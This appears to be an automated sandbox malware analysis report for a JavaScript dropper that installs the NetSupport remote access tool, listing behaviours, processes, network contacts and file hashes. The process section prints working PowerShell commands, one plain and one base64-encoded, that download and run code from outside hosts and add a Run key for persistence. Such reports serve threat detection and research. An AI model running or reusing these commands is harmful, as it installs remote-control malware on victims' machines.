Analysis Overview
SHA256
2770b332ef571a1462e5a38778307106e16ba66dca58717fe40f6f76259b717b
Threat Level: Known bad
The file ARS17291729317291729.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Executes dropped EXE
Checks computer location settings
Loads dropped DLL
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-02-07 09:32
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-02-07 09:32
Reported
2024-02-07 09:35
Platform
win10v2004-20231222-en
Max time kernel
92s
Max time network
140s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\modem_gprs_modules = "C:\\Users\\Admin\\AppData\\Local\\modem_gprs_modules\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ARS17291729317291729.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Nop -ExeCUtIONPol bYPASS -W hI -eNco QwBoAEQASQByACAAJABlAE4AdgA6AEwATwBDAEEAbABhAHAAcABEAGEAVABhADsAIAAkAEcAMgBmAGYAdwAwAGMAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAawBuAHMAUABVADIAQQA9ACcAaAB0AHQAcAA6AC8ALwBzAGEAawBhAGwAZQByAGEAbABvAC4AYwBvAG0ALwBjAGMAZQBhADIANgA4AGIALQA4ADcAMQA2AC0ANAA2AGIAZQAtADkAMQA0ADgALQAzAGUANgAxADQAYgAzADgAYQAwAGQAZgAuAHQAeAB0ACcAOwAgACQAMwBsAEsAYwBVAEgAWAA9ACcAagBHAGgAVAB5AG8AaQBDAC4AegBpAHAAJwA7ACAAJABYAEYAeABiADMAPQAnAG0AbwBkAGUAbQBfAGcAcAByAHMAXwBtAG8AZAB1AGwAZQBzACcAOwAgACQARABFAGYAZgBJAFMAPQBpAE4AVgBPAEsAZQAtAFcAZQBCAHIAZQBxAFUAZQBzAHQAIAAtAFUAcgBJACAAJABrAG4AcwBQAFUAMgBBACAALQBVAHMARQBiAEEAcwBJAEMAUABhAFIAUwBJAE4AZwA7ACAAJABCAG0ASgBOAGcANQBmAD0AJABEAEUAZgBmAEkAUwAuAGMAbwBuAFQAZQBOAHQAOwAgACQATgBUADYAVgBPAEUAPQAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEALAAgACQAWABGAHgAYgAzACAALQBqAG8AaQBOACAAJwBcACcAOwAgACQAYwBrAGEAdQA4AD0AIgAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEAXAAkADMAbABLAGMAVQBIAFgAIgA7ACAAJABQAHgASQBCAFgAcwBvAEYAPQBbAEMAbwBOAFYARQBSAHQAXQA6ADoAZgByAG8AbQBiAGEAUwBlADYANABTAFQAcgBpAE4ARwAoACQAQgBtAEoATgBnADUAZgApADsAIAAkAEgANQBMAHoAawBIAFQAPQAkAFAAeABJAEIAWABzAG8ARgAgAC0AUwBQAGwASQBUACAAJwAgACcAIAAtAEEAcwAgAFsAQgB5AHQARQBbAF0AXQA7ACAAJAAxAFkASwBnAHMAcwBuAD0AJABHADIAZgBmAHcAMABjACsAJABIADUATAB6AGsASABUADsAIABTAGMAIAAkADMAbABLAGMAVQBIAFgAIAAkADEAWQBLAGcAcwBzAG4AIAAtAEUATgBDAG8AZABpAE4AZwAgAEIAWQBUAGUAOwAgAEUAeABwAEEAbgBkAC0AQQBSAEMAaABJAHYAZQAgAC0AcABBAHQAaAAgACQAYwBrAGEAdQA4ACAALQBkAEUAUwBUAGkAbgBBAFQAaQBvAE4AUABhAHQASAAgACQATgBUADYAVgBPAEUAIAAtAGYAbwBSAEMARQA7ACAAUgBJACAAJAAzAGwASwBjAFUASABYADsAIABDAEQAIAAkAE4AVAA2AFYATwBFADsAIAAkAFIAcQBQAHQAUQBkAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAE4AVAA2AFYATwBFADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAATgBlAHcALQBJAFQARQBtAFAAcgBPAFAARQByAHQAeQAgAC0AUABhAFQASAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0AZQAgACQAWABGAHgAYgAzACAALQBWAGEATABVAEUAIAAkAFIAcQBQAHQAUQBkACAALQBwAFIAbwBQAGUAcgBUAHkAVABZAFAARQAgACcAUwB0AHIAaQBuAGcAJwA7AA==
C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe
"C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 177.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | assime.ca | udp |
| CA | 67.43.225.106:443 | assime.ca | tcp |
| US | 8.8.8.8:53 | sakaleralo.com | udp |
| DE | 192.121.22.184:80 | sakaleralo.com | tcp |
| US | 8.8.8.8:53 | 106.225.43.67.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 184.22.121.192.in-addr.arpa | udp |
| IN | 13.71.55.58:443 | tcp | |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | udp | |
| IN | 13.71.55.58:443 | tcp | |
| IN | 13.71.55.58:443 | tcp | |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | udp | |
| GB | 5.61.62.93:443 | tcp | |
| US | 172.67.68.212:80 | tcp | |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | udp | |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 176.178.17.96.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iisg2x4g.xib.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4080-0-0x0000024BFD510000-0x0000024BFD532000-memory.dmp
memory/4080-12-0x0000024BFB490000-0x0000024BFB4A0000-memory.dmp
memory/4080-11-0x0000024BFB490000-0x0000024BFB4A0000-memory.dmp
memory/4080-10-0x00007FFA49E30000-0x00007FFA4A8F1000-memory.dmp
memory/4776-22-0x00007FFA49E30000-0x00007FFA4A8F1000-memory.dmp
memory/4776-24-0x000001A81CCF0000-0x000001A81CD00000-memory.dmp
memory/4776-23-0x000001A81CCF0000-0x000001A81CD00000-memory.dmp
memory/4776-26-0x000001A81CCF0000-0x000001A81CD00000-memory.dmp
memory/4776-28-0x000001A81CCC0000-0x000001A81CCCA000-memory.dmp
memory/4776-27-0x000001A81CCD0000-0x000001A81CCE2000-memory.dmp
C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe
| MD5 | a2b46c59f6e7e395d479b09464ecdba0 |
| SHA1 | 92c132307dd21189b6d7912ddd934b50e50d1ec1 |
| SHA256 | 89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1 |
| SHA512 | 4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICL32.dll
| MD5 | 8dd6ae67fced06599dd0643d18395338 |
| SHA1 | 5972dae148c3ee037c3228d9797ef7bd054229fa |
| SHA256 | 74cc09260f7c2bc0e2022ec43eda5648023e02b2bc752a1808e1ef5b0d7695a6 |
| SHA512 | a7c5f12fcafaab7d9faa5045c5561465389f1c6e349292fa178d309ee60df00a01b7c7e5c5241373a7174a73700f92ff8fd206e2bc90505e1f49d09bc4dc55ef |
C:\Users\Admin\AppData\Local\modem_gprs_modules\msvcr100.dll
| MD5 | d36e2ebca79a97a3da7ae166355cb058 |
| SHA1 | 862d93a5b3191efc72537af7a823345180483ca0 |
| SHA256 | 09629d07055dd129387d8030e47f9f87be142938f7628ee16f3657ff3e7d408e |
| SHA512 | be19f11682a5c47d0bcdfc7163aeb2825d119e797ad80bc2c2ab47a18632e3f833faf9fef3ae18d1410adad9e4f29291284ad0a2cbbe7450b7e81fc5a0264501 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\HTCTL32.DLL
| MD5 | 8685677d29cd28cd99365daba43bd91b |
| SHA1 | c7f81001c1bffe138bedcb29f8695d0c32da2bcd |
| SHA256 | 6424c55ae5589e812f2233c0e579c78cce0a5b4dba9c52bd7d6f17a37575b924 |
| SHA512 | 653e46604afa00e5594b90a50baab9fa3aefc79c56d5520031bbe423806f05211024b6c549d905a5bddebda5ae94af63bb18fdf759774b491ac5f00f43a1092a |
C:\Users\Admin\AppData\Local\modem_gprs_modules\HTCTL32.DLL
| MD5 | 28c8a8263249e68e073b7e07ea790233 |
| SHA1 | 6229b94354c6a8c5b55607c999a61184e8134c72 |
| SHA256 | 9479a76792083c185382ff937028d2eb4bb0b8fe7051bc812e8d8c2bd747b5cd |
| SHA512 | ec69ab6c56feeb735661d009576176983911682edc352bb666a6b746641537468d0e4c75ac7371fcf1dd28358d139a8c517692293a17bb492ac8ed3174ebb674 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.ini
| MD5 | 2cd1a8115b7328756129052384e2eed6 |
| SHA1 | 9458e9553d3d1f075ed09a06fda3f36136781704 |
| SHA256 | 02ab893e7d31d7c3b18d27c3c4ef6e056da27cc6ad7efa76b8d4729403a067d2 |
| SHA512 | df5630c14f1400166ecbf0854a48616c939c0467634c427f8a287edc5c064c0d259b1cec0b02ae7aa31e21d1609ff31f4e11285160323f2c24fcb02de4e20455 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\NSM.LIC
| MD5 | 866c96ba2823ac5fe70130dfaaa08531 |
| SHA1 | 892a656da1ea264c73082da8c6e5f5728abcb861 |
| SHA256 | 6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921 |
| SHA512 | 0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112 |
memory/4080-81-0x00007FFA49E30000-0x00007FFA4A8F1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 512c6cab650bfda6ef2995f6b515ed6f |
| SHA1 | fec40abf4f5d74ea7f8828cee83770e423203083 |
| SHA256 | 84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262 |
| SHA512 | 638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 0f6a3762a04bbb03336fb66a040afb97 |
| SHA1 | 0a0495c79f3c8f4cb349d82870ad9f98fbbaac74 |
| SHA256 | 36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383 |
| SHA512 | cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69 |
memory/4776-77-0x00007FFA49E30000-0x00007FFA4A8F1000-memory.dmp
C:\Users\Admin\AppData\Local\modem_gprs_modules\MSVCR100.dll
| MD5 | 4054ad31323fe183a5beff36509e5886 |
| SHA1 | bcdc25fffb6e1be98c44e60b33556d5e7bf94747 |
| SHA256 | aa3543e079d8cd6dfff32b842e87dc35916b63cab928697205ffa4059fdd2320 |
| SHA512 | 3a26d685a36c4eedbba4777db883a2331743aaba629104d83b753500e986831cb0153f379207f5aec100f0b8d89a673476d317c874be9d4ea76ad6f9d2408f2a |
C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICHEK.DLL
| MD5 | a0b9388c5f18e27266a31f8c5765b263 |
| SHA1 | 906f7e94f841d464d4da144f7c858fa2160e36db |
| SHA256 | 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a |
| SHA512 | 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd |
C:\Users\Admin\AppData\Local\modem_gprs_modules\pcicapi.dll
| MD5 | dcde2248d19c778a41aa165866dd52d0 |
| SHA1 | 7ec84be84fe23f0b0093b647538737e1f19ebb03 |
| SHA256 | 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917 |
| SHA512 | c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166 |
C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICL32.DLL
| MD5 | 7937f859097b360b2cba516cf83ec59f |
| SHA1 | ddc3a3c20ee7c406f312a8e1cbd4a5cbc0a5ee4e |
| SHA256 | 228a3ac9a4f0839c1fcd3e6208fe5c610928cac30ad38c1a19ac2af610fe0ca9 |
| SHA512 | ff89b4d531e7349eee60a75eedee1be6f2581a108669124c21c4a9a37cefd9dd081a65f3c24651cfae54a29a85b771ca02f162c390c9058ae307744244983115 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-02-07 09:32
Reported
2024-02-07 09:35
Platform
win7-20231215-en
Max time kernel
117s
Max time network
121s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3032 wrote to memory of 2852 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3032 wrote to memory of 2852 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3032 wrote to memory of 2852 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ARS17291729317291729.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | assime.ca | udp |
| CA | 67.43.225.106:443 | assime.ca | tcp |
| CA | 67.43.225.106:443 | assime.ca | tcp |
Files
memory/2852-4-0x000000001B340000-0x000000001B622000-memory.dmp
memory/2852-5-0x0000000002560000-0x0000000002568000-memory.dmp
memory/2852-6-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp
memory/2852-7-0x00000000021E0000-0x0000000002260000-memory.dmp
memory/2852-8-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp
memory/2852-11-0x00000000021E0000-0x0000000002260000-memory.dmp
memory/2852-10-0x00000000021E0000-0x0000000002260000-memory.dmp
memory/2852-9-0x00000000021E0000-0x0000000002260000-memory.dmp
memory/2852-12-0x00000000021E0000-0x0000000002260000-memory.dmp
memory/2852-13-0x00000000021E0000-0x0000000002260000-memory.dmp
memory/2852-14-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp